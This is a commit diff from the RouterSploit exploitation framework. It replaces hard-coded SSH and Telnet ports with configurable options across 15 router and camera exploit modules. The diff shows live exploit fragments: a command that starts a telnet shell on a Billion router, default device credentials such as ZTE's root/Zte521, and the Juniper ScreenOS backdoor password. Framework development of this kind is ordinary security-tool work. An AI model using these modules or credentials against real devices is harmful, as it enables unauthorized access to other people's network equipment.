Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
b0576d88
Commit
b0576d88
authored
May 04, 2017
by
Marcin Bury
Committed by
Mariusz Kupidura
May 04, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding FTP,SSH,Telnet ports option (#264)
parent
cfbdf33c
Hide whitespace changes
Inline
Side-by-side
Showing
15 changed files
with
58 additions
and
40 deletions
+58
-40
gxv3611hd_ip_camera_rce.py
...s/exploits/cameras/grandstream/gxv3611hd_ip_camera_rce.py
+3
-2
play_max_prce.py
...ersploit/modules/exploits/routers/belkin/play_max_prce.py
+1
-1
5200w_rce.py
routersploit/modules/exploits/routers/billion/5200w_rce.py
+5
-5
catalyst_2960_rocem.py
...oit/modules/exploits/routers/cisco/catalyst_2960_rocem.py
+1
-1
firepower_management60_rce.py
...ules/exploits/routers/cisco/firepower_management60_rce.py
+4
-3
dsp_w110_rce.py
routersploit/modules/exploits/routers/dlink/dsp_w110_rce.py
+1
-1
dwr_932b_backdoor.py
...ploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py
+5
-3
fortigate_os_backdoor.py
...odules/exploits/routers/fortinet/fortigate_os_backdoor.py
+5
-4
hg630a_default_creds.py
...t/modules/exploits/routers/huawei/hg630a_default_creds.py
+4
-2
screenos_backdoor.py
...oit/modules/exploits/routers/juniper/screenos_backdoor.py
+8
-5
ssh_auth_keys.py
routersploit/modules/exploits/routers/multi/ssh_auth_keys.py
+3
-2
r7000_r6400_rce.py
...ploit/modules/exploits/routers/netgear/r7000_r6400_rce.py
+1
-1
airos_6_x.py
routersploit/modules/exploits/routers/ubiquiti/airos_6_x.py
+3
-2
f609_config_disclosure.py
...it/modules/exploits/routers/zte/f609_config_disclosure.py
+7
-4
f6xx_default_root.py
...rsploit/modules/exploits/routers/zte/f6xx_default_root.py
+7
-4
No files found.
routersploit/modules/exploits/cameras/grandstream/gxv3611hd_ip_camera_rce.py
View file @
b0576d88
...
@@ -5,6 +5,7 @@ from routersploit import (
...
@@ -5,6 +5,7 @@ from routersploit import (
mute
,
mute
,
print_error
,
print_error
,
print_success
,
print_success
,
validators
,
)
)
...
@@ -26,8 +27,8 @@ class Exploit(exploits.Exploit):
...
@@ -26,8 +27,8 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address e.g. 192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target IP address e.g. 192.168.1.1'
,
validators
=
validators
.
ipv4
)
# target address
telnet_port
=
exploits
.
Option
(
23
,
'Target port'
)
# default port
telnet_port
=
exploits
.
Option
(
23
,
'Target port'
,
validators
=
validators
.
integer
)
# default port
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
...
...
routersploit/modules/exploits/routers/belkin/play_max_prce.py
View file @
b0576d88
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
...
@@ -32,7 +32,7 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
,
validators
=
validators
.
integer
)
cmd
=
exploits
.
Option
(
'telnetd'
,
'Command to execute'
)
cmd
=
exploits
.
Option
(
'telnetd'
,
'Command to execute'
)
def
auth_bypass
(
self
):
def
auth_bypass
(
self
):
...
...
routersploit/modules/exploits/routers/billion/5200w_rce.py
View file @
b0576d88
...
@@ -35,11 +35,11 @@ class Exploit(exploits.Exploit):
...
@@ -35,11 +35,11 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
,
validators
=
validators
.
integer
)
# default port
telnet_port
=
exploits
.
Option
(
9999
,
'Telnet port used for exploitation'
,
validators
=
validators
.
integer
)
# telnet port used for exploitation
username
=
exploits
.
Option
(
'admin'
,
'Default username to log in'
)
username
=
exploits
.
Option
(
'admin'
,
'Default username to log in'
)
password
=
exploits
.
Option
(
'password'
,
'Default password to log in'
)
password
=
exploits
.
Option
(
'password'
,
'Default password to log in'
)
telnetport
=
exploits
.
Option
(
9999
,
'Telnet port used for exploitation'
)
# hardcoded credentials
# hardcoded credentials
creds
=
[
creds
=
[
...
@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit):
...
@@ -49,7 +49,7 @@ class Exploit(exploits.Exploit):
]
]
def
run
(
self
):
def
run
(
self
):
cmd
=
"utelnetd -l /bin/sh -p {} -d"
.
format
(
self
.
telnetport
)
cmd
=
"utelnetd -l /bin/sh -p {} -d"
.
format
(
self
.
telnet
_
port
)
if
self
.
execute1
(
cmd
)
or
self
.
execute2
(
cmd
):
if
self
.
execute1
(
cmd
)
or
self
.
execute2
(
cmd
):
self
.
telnet_connect
()
self
.
telnet_connect
()
...
@@ -134,11 +134,11 @@ class Exploit(exploits.Exploit):
...
@@ -134,11 +134,11 @@ class Exploit(exploits.Exploit):
print_status
(
"Trying to connect to the telnet server..."
)
print_status
(
"Trying to connect to the telnet server..."
)
try
:
try
:
tn
=
telnetlib
.
Telnet
(
target
,
self
.
telnetport
)
tn
=
telnetlib
.
Telnet
(
target
,
self
.
telnet
_
port
)
tn
.
interact
()
tn
.
interact
()
tn
.
close
()
tn
.
close
()
except
:
except
:
print_error
(
"Exploit failed - Telnet connection error: {}:{}"
.
format
(
target
,
self
.
telnetport
))
print_error
(
"Exploit failed - Telnet connection error: {}:{}"
.
format
(
target
,
self
.
telnet
_
port
))
@mute
@mute
def
check
(
self
):
def
check
(
self
):
...
...
routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py
View file @
b0576d88
...
@@ -41,7 +41,7 @@ class Exploit(exploits.Exploit):
...
@@ -41,7 +41,7 @@ class Exploit(exploits.Exploit):
telnet_port
=
exploits
.
Option
(
23
,
'Target Port'
,
validators
=
validators
.
integer
)
telnet_port
=
exploits
.
Option
(
23
,
'Target Port'
,
validators
=
validators
.
integer
)
action
=
exploits
.
Option
(
'set'
,
'set / unset credless authentication for Telnet service'
)
action
=
exploits
.
Option
(
'set'
,
'set / unset credless authentication for Telnet service'
)
device
=
exploits
.
Option
(
-
1
,
'Target device - use "show devices"'
,
validators
=
int
)
device
=
exploits
.
Option
(
-
1
,
'Target device - use "show devices"'
,
validators
=
validators
.
integer
)
payloads
=
[
payloads
=
[
# Cisco Catalyst 2960 IOS 12.2(55)SE1
# Cisco Catalyst 2960 IOS 12.2(55)SE1
...
...
routersploit/modules/exploits/routers/cisco/firepower_management60_rce.py
View file @
b0576d88
...
@@ -39,7 +39,8 @@ class Exploit(exploits.Exploit):
...
@@ -39,7 +39,8 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
,
validators
=
validators
.
url
)
target
=
exploits
.
Option
(
''
,
'Target IP address'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
443
,
'Target Port'
)
port
=
exploits
.
Option
(
443
,
'Target Port'
,
validators
=
validators
.
integer
)
ssh_port
=
exploits
.
Option
(
22
,
'Target SSH Port'
,
validators
=
validators
.
integer
)
username
=
exploits
.
Option
(
'admin'
,
'Default username to log in'
)
username
=
exploits
.
Option
(
'admin'
,
'Default username to log in'
)
password
=
exploits
.
Option
(
'Admin123'
,
'Default password to log in'
)
password
=
exploits
.
Option
(
'Admin123'
,
'Default password to log in'
)
...
@@ -81,7 +82,7 @@ class Exploit(exploits.Exploit):
...
@@ -81,7 +82,7 @@ class Exploit(exploits.Exploit):
target
=
self
.
target
.
replace
(
"http://"
,
""
)
.
replace
(
"https://"
,
""
)
target
=
self
.
target
.
replace
(
"http://"
,
""
)
.
replace
(
"https://"
,
""
)
try
:
try
:
ssh
.
connect
(
target
,
22
,
timeout
=
5
,
username
=
random_text
(
8
),
password
=
random_text
(
8
))
ssh
.
connect
(
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
random_text
(
8
),
password
=
random_text
(
8
))
except
paramiko
.
AuthenticationException
:
except
paramiko
.
AuthenticationException
:
return
True
# target is vulnerable
return
True
# target is vulnerable
except
:
except
:
...
@@ -155,7 +156,7 @@ class Exploit(exploits.Exploit):
...
@@ -155,7 +156,7 @@ class Exploit(exploits.Exploit):
target
=
self
.
target
.
replace
(
"http://"
,
""
)
.
replace
(
"https://"
,
""
)
target
=
self
.
target
.
replace
(
"http://"
,
""
)
.
replace
(
"https://"
,
""
)
try
:
try
:
ssh
.
connect
(
target
,
22
,
timeout
=
5
,
username
=
username
,
password
=
password
)
ssh
.
connect
(
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
username
,
password
=
password
)
except
:
except
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
...
...
routersploit/modules/exploits/routers/dlink/dsp_w110_rce.py
View file @
b0576d88
...
@@ -31,7 +31,7 @@ class Exploit(exploits.Exploit):
...
@@ -31,7 +31,7 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
,
validators
=
validators
.
integer
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
...
...
routersploit/modules/exploits/routers/dlink/dwr_932b_backdoor.py
View file @
b0576d88
...
@@ -7,6 +7,7 @@ from routersploit import (
...
@@ -7,6 +7,7 @@ from routersploit import (
print_success
,
print_success
,
print_status
,
print_status
,
mute
,
mute
,
validators
,
)
)
...
@@ -30,7 +31,8 @@ class Exploit(exploits.Exploit):
...
@@ -30,7 +31,8 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
,
validators
=
validators
.
ipv4
)
telnet_port
=
exploits
.
Option
(
23
,
'Target telnet port'
,
validators
=
validators
.
integer
)
def
run
(
self
):
def
run
(
self
):
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
...
@@ -49,10 +51,10 @@ class Exploit(exploits.Exploit):
...
@@ -49,10 +51,10 @@ class Exploit(exploits.Exploit):
if
"Hello"
in
response
:
if
"Hello"
in
response
:
print_success
(
"Target seems to vulnerable"
)
print_success
(
"Target seems to vulnerable"
)
print_status
(
"Trying to connect to the telnet service {}:{}"
.
format
(
self
.
target
,
23
))
print_status
(
"Trying to connect to the telnet service {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
.
interact
()
tn
.
interact
()
except
:
except
:
print_error
(
"Exploit failed - could not connect to the telnet service"
)
print_error
(
"Exploit failed - could not connect to the telnet service"
)
...
...
routersploit/modules/exploits/routers/fortinet/fortigate_os_backdoor.py
View file @
b0576d88
...
@@ -9,6 +9,7 @@ from routersploit import (
...
@@ -9,6 +9,7 @@ from routersploit import (
print_status
,
print_status
,
mute
,
mute
,
ssh_interactive
,
ssh_interactive
,
validators
,
)
)
...
@@ -34,15 +35,15 @@ class Exploit(exploits.Exploit):
...
@@ -34,15 +35,15 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
target
=
exploits
.
Option
(
''
,
'Target IP address'
,
validators
=
validators
.
ipv4
)
port
=
exploits
.
Option
(
22
,
'Target Port'
)
ssh_port
=
exploits
.
Option
(
22
,
'Target Port'
,
validators
=
validators
.
integer
)
def
run
(
self
):
def
run
(
self
):
client
=
paramiko
.
SSHClient
()
client
=
paramiko
.
SSHClient
()
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
client
.
connect
(
self
.
target
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
client
.
connect
(
self
.
target
,
self
.
ssh_port
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
except
paramiko
.
ssh_exception
.
SSHException
:
except
paramiko
.
ssh_exception
.
SSHException
:
pass
pass
except
:
except
:
...
@@ -73,7 +74,7 @@ class Exploit(exploits.Exploit):
...
@@ -73,7 +74,7 @@ class Exploit(exploits.Exploit):
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
client
.
connect
(
self
.
target
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
client
.
connect
(
self
.
target
,
self
.
ssh_port
,
username
=
''
,
allow_agent
=
False
,
look_for_keys
=
False
)
except
paramiko
.
ssh_exception
.
SSHException
:
except
paramiko
.
ssh_exception
.
SSHException
:
pass
pass
except
:
except
:
...
...
routersploit/modules/exploits/routers/huawei/hg630a_default_creds.py
View file @
b0576d88
...
@@ -33,6 +33,8 @@ class Exploit(exploits.Exploit):
...
@@ -33,6 +33,8 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
,
validators
=
validators
.
address
)
# target address
target
=
exploits
.
Option
(
''
,
'Target IP address'
,
validators
=
validators
.
address
)
# target address
ssh_port
=
exploits
.
Option
(
22
,
'Target SSH Port'
,
validators
=
validators
.
integer
)
# target port
user
=
exploits
.
Option
(
'admin'
,
'Default username to log in with'
)
user
=
exploits
.
Option
(
'admin'
,
'Default username to log in with'
)
password
=
exploits
.
Option
(
'admin'
,
'Default password to log in with'
)
password
=
exploits
.
Option
(
'admin'
,
'Default password to log in with'
)
...
@@ -41,7 +43,7 @@ class Exploit(exploits.Exploit):
...
@@ -41,7 +43,7 @@ class Exploit(exploits.Exploit):
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
ssh
.
connect
(
self
.
target
,
22
,
timeout
=
5
,
username
=
self
.
user
,
password
=
self
.
password
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
user
,
password
=
self
.
password
)
except
(
paramiko
.
ssh_exception
.
SSHException
,
socket
.
error
):
except
(
paramiko
.
ssh_exception
.
SSHException
,
socket
.
error
):
print_error
(
"Exploit failed - cannot log in with credentials {} / {}"
.
format
(
self
.
user
,
self
.
password
))
print_error
(
"Exploit failed - cannot log in with credentials {} / {}"
.
format
(
self
.
user
,
self
.
password
))
return
return
...
@@ -55,7 +57,7 @@ class Exploit(exploits.Exploit):
...
@@ -55,7 +57,7 @@ class Exploit(exploits.Exploit):
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
ssh
.
connect
(
self
.
target
,
22
,
timeout
=
5
,
username
=
self
.
user
,
password
=
self
.
password
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
user
,
password
=
self
.
password
)
except
(
paramiko
.
ssh_exception
.
SSHException
,
socket
.
error
):
except
(
paramiko
.
ssh_exception
.
SSHException
,
socket
.
error
):
return
False
# target is not vulnerable
return
False
# target is not vulnerable
else
:
else
:
...
...
routersploit/modules/exploits/routers/juniper/screenos_backdoor.py
View file @
b0576d88
...
@@ -7,6 +7,7 @@ from routersploit import (
...
@@ -7,6 +7,7 @@ from routersploit import (
print_error
,
print_error
,
mute
,
mute
,
ssh_interactive
,
ssh_interactive
,
validators
,
)
)
...
@@ -31,7 +32,9 @@ class Exploit(exploits.Exploit):
...
@@ -31,7 +32,9 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
,
validators
=
validators
.
ipv4
)
# target address
ssh_port
=
exploits
.
Option
(
22
,
'Target SSH port'
,
validators
=
validators
.
integer
)
# target ssh port
telnet_port
=
exploits
.
Option
(
23
,
'Target Telnet port'
,
validators
=
validators
.
integer
)
# target telnet port
username
=
"admin"
username
=
"admin"
password
=
"<<<
%
s(un='
%
s') =
%
u"
password
=
"<<<
%
s(un='
%
s') =
%
u"
...
@@ -41,7 +44,7 @@ class Exploit(exploits.Exploit):
...
@@ -41,7 +44,7 @@ class Exploit(exploits.Exploit):
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
ssh
.
connect
(
self
.
target
,
22
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
except
:
except
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
...
@@ -50,7 +53,7 @@ class Exploit(exploits.Exploit):
...
@@ -50,7 +53,7 @@ class Exploit(exploits.Exploit):
return
return
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
...
@@ -79,14 +82,14 @@ class Exploit(exploits.Exploit):
...
@@ -79,14 +82,14 @@ class Exploit(exploits.Exploit):
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
ssh
.
connect
(
self
.
target
,
22
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
username
,
password
=
self
.
password
)
except
:
except
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
return
True
return
True
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
.
write
(
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
...
...
routersploit/modules/exploits/routers/multi/ssh_auth_keys.py
View file @
b0576d88
...
@@ -56,6 +56,7 @@ class Exploit(exploits.Exploit):
...
@@ -56,6 +56,7 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target IP address e.g. 192.168.1.1'
,
validators
=
validators
.
address
)
# target address
target
=
exploits
.
Option
(
''
,
'Target IP address e.g. 192.168.1.1'
,
validators
=
validators
.
address
)
# target address
ssh_port
=
exploits
.
Option
(
22
,
'Target SSH Port'
,
validators
=
validators
.
port
)
# target port
private_keys
=
[
private_keys
=
[
{
# ExaGrid firmware < 4.8 P26
{
# ExaGrid firmware < 4.8 P26
...
@@ -250,7 +251,7 @@ class Exploit(exploits.Exploit):
...
@@ -250,7 +251,7 @@ class Exploit(exploits.Exploit):
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
ssh
.
connect
(
self
.
target
,
22
,
timeout
=
5
,
username
=
self
.
valid
[
'user'
],
pkey
=
pkey
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
self
.
valid
[
'user'
],
pkey
=
pkey
)
except
:
except
:
ssh
.
close
()
ssh
.
close
()
print_error
(
"Device seems to be not vulnerable"
)
print_error
(
"Device seems to be not vulnerable"
)
...
@@ -274,7 +275,7 @@ class Exploit(exploits.Exploit):
...
@@ -274,7 +275,7 @@ class Exploit(exploits.Exploit):
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
ssh
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
try
:
try
:
ssh
.
connect
(
self
.
target
,
22
,
timeout
=
5
,
username
=
key
[
'user'
],
pkey
=
pkey
)
ssh
.
connect
(
self
.
target
,
self
.
ssh_port
,
timeout
=
5
,
username
=
key
[
'user'
],
pkey
=
pkey
)
except
:
except
:
ssh
.
close
()
ssh
.
close
()
else
:
else
:
...
...
routersploit/modules/exploits/routers/netgear/r7000_r6400_rce.py
View file @
b0576d88
...
@@ -41,7 +41,7 @@ class Exploit(exploits.Exploit):
...
@@ -41,7 +41,7 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
,
validators
=
validators
.
integer
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
...
...
routersploit/modules/exploits/routers/ubiquiti/airos_6_x.py
View file @
b0576d88
...
@@ -38,7 +38,8 @@ class Exploit(exploits.Exploit):
...
@@ -38,7 +38,8 @@ class Exploit(exploits.Exploit):
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. https://192.168.1.1'
,
validators
=
validators
.
url
)
# Target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. https://192.168.1.1'
,
validators
=
validators
.
url
)
# Target address
port
=
exploits
.
Option
(
443
,
'Target port e.g. 443'
)
# Default port
port
=
exploits
.
Option
(
443
,
'Target port e.g. 443'
,
validators
=
validators
.
integer
)
# Default port
ssh_port
=
exploits
.
Option
(
22
,
'Target SSH Port'
,
validators
=
validators
.
integer
)
# target ssh port
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
...
@@ -78,7 +79,7 @@ class Exploit(exploits.Exploit):
...
@@ -78,7 +79,7 @@ class Exploit(exploits.Exploit):
ip_target
=
ip_target
.
replace
(
'http://'
,
''
)
ip_target
=
ip_target
.
replace
(
'http://'
,
''
)
ip_target
=
ip_target
.
replace
(
'/'
,
''
)
ip_target
=
ip_target
.
replace
(
'/'
,
''
)
client
.
connect
(
ip_target
,
22
,
username
=
'ubnt'
,
pkey
=
pkey
)
client
.
connect
(
ip_target
,
self
.
ssh_port
,
username
=
'ubnt'
,
pkey
=
pkey
)
ssh_interactive
(
client
)
ssh_interactive
(
client
)
else
:
else
:
...
...
routersploit/modules/exploits/routers/zte/f609_config_disclosure.py
View file @
b0576d88
...
@@ -6,6 +6,7 @@ from routersploit import (
...
@@ -6,6 +6,7 @@ from routersploit import (
print_success
,
print_success
,
print_error
,
print_error
,
mute
,
mute
,
validators
,
)
)
...
@@ -29,7 +30,9 @@ class Exploit(exploits.Exploit):
...
@@ -29,7 +30,9 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
,
validators
=
validators
.
ipv4
)
# target address
telnet_port
=
exploits
.
Option
(
23
,
'Target Telnet port'
,
validators
=
validators
.
integer
)
# target telnet port
username
=
exploits
.
Option
(
"root"
,
"Username to authenticate with"
)
# telnet username, default root
username
=
exploits
.
Option
(
"root"
,
"Username to authenticate with"
)
# telnet username, default root
password
=
exploits
.
Option
(
"Zte521"
,
"Password to authenticate with"
)
# telnet password, default Zte521
password
=
exploits
.
Option
(
"Zte521"
,
"Password to authenticate with"
)
# telnet password, default Zte521
config
=
"sendcmd 1 DB p DevAuthInfo"
config
=
"sendcmd 1 DB p DevAuthInfo"
...
@@ -37,7 +40,7 @@ class Exploit(exploits.Exploit):
...
@@ -37,7 +40,7 @@ class Exploit(exploits.Exploit):
def
run
(
self
):
def
run
(
self
):
try
:
try
:
print_status
(
"Trying to authenticate to the telnet server"
)
print_status
(
"Trying to authenticate to the telnet server"
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -58,12 +61,12 @@ class Exploit(exploits.Exploit):
...
@@ -58,12 +61,12 @@ class Exploit(exploits.Exploit):
tn
.
close
()
tn
.
close
()
except
:
except
:
print_error
(
"Connection error: {}:{}"
.
format
(
self
.
target
,
23
))
print_error
(
"Connection error: {}:{}"
.
format
(
self
.
target
,
self
.
telnet_port
))
@mute
@mute
def
check
(
self
):
def
check
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
...
routersploit/modules/exploits/routers/zte/f6xx_default_root.py
View file @
b0576d88
...
@@ -6,6 +6,7 @@ from routersploit import (
...
@@ -6,6 +6,7 @@ from routersploit import (
print_success
,
print_success
,
print_error
,
print_error
,
mute
,
mute
,
validators
,
)
)
...
@@ -30,14 +31,16 @@ class Exploit(exploits.Exploit):
...
@@ -30,14 +31,16 @@ class Exploit(exploits.Exploit):
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. 192.168.1.1'
,
validators
=
validators
.
ipv4
)
# target address
telnet_port
=
exploits
.
Option
(
23
,
'Target Telnet port'
,
validators
=
validators
.
integer
)
# target telnet port
username
=
exploits
.
Option
(
"root"
,
"Username to authenticate with"
)
# telnet username, default root
username
=
exploits
.
Option
(
"root"
,
"Username to authenticate with"
)
# telnet username, default root
password
=
exploits
.
Option
(
"Zte521"
,
"Password to authenticate with"
)
# telnet password, default Zte521
password
=
exploits
.
Option
(
"Zte521"
,
"Password to authenticate with"
)
# telnet password, default Zte521
def
run
(
self
):
def
run
(
self
):
try
:
try
:
print_status
(
"Trying to authenticate to the telnet server"
)
print_status
(
"Trying to authenticate to the telnet server"
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
@@ -58,12 +61,12 @@ class Exploit(exploits.Exploit):
...
@@ -58,12 +61,12 @@ class Exploit(exploits.Exploit):
tn
.
close
()
tn
.
close
()
except
:
except
:
print_error
(
"Connection error {}:
23"
.
format
(
self
.
targe
t
))
print_error
(
"Connection error {}:
{}"
.
format
(
self
.
target
,
self
.
telnet_por
t
))
@mute
@mute
def
check
(
self
):
def
check
(
self
):
try
:
try
:
tn
=
telnetlib
.
Telnet
(
self
.
target
,
23
)
tn
=
telnetlib
.
Telnet
(
self
.
target
,
self
.
telnet_port
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
expect
([
"Login: "
,
"login: "
],
5
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
write
(
self
.
username
+
"
\r\n
"
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
tn
.
expect
([
"Password: "
,
"password"
],
5
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
